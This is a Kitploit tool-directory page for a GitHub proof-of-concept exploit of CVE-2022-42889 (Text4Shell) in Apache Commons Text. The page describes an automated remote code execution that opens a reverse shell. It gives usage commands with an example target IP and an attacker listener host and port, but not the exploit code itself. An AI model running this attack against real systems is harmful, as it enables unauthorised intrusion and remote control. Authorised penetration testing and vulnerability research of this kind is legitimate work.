Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-42889-text4shell — Proof of Concept (PoC) for CVE-2022-42889 (Text4Shell) targeting Apache Commons Text versions prior to 1.10.0. This script automates Remote Code Execution (RCE) via script interpolation to establish a reverse shell. This version is a structured optimization based on the original exploit found at Exploit-DB (ID: 52261). | Kitploit
Tools/GitHubGitHub/goultarde/cve-2022-42889-text4shell
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubgoultarde/cve-2022-42889-text4shell

CVE-2022-42889-text4shell

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

Proof of Concept (PoC) for CVE-2022-42889 (Text4Shell) targeting Apache Commons Text versions prior to 1.10.0. This script automates Remote Code Execution (RCE) via script interpolation to establish a reverse shell. This version is a structured optimization based on the original exploit found at Exploit-DB (ID: 52261).

View Repository
1 month agoNot yet reviewed
Share

CVE-2022-42889-text4shell

Description

This script is a penetration testing tool designed to exploit the CVE-2022-42889 vulnerability, also known as Text4Shell, within Apache Commons Text (versions < 1.10.0). It automates the delivery of a Java-based payload to trigger a reverse shell.

This implementation is based on the public exploit: https://www.exploit-db.com/exploits/52261

Features

  • Command-line arguments using argparse for better usability.
  • Precise URL encoding for Java payload compatibility.
  • Customizable path and vulnerable parameter targets.

Usage

Prerequisites

The script requires Python 3 and the requests library.

root@kitploit:~
pip install requests

Syntax

root@kitploit:~
python3 exploit.py -t $IP -p $PORT -u <path> -param $PARAMETER -L $LHOST -P $LPORT

Example

root@kitploit:~
python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139

Disclaimer

This tool is intended for educational purposes and authorized penetration testing only. The author is not responsible for any misuse or damage caused by this script.

Download Tool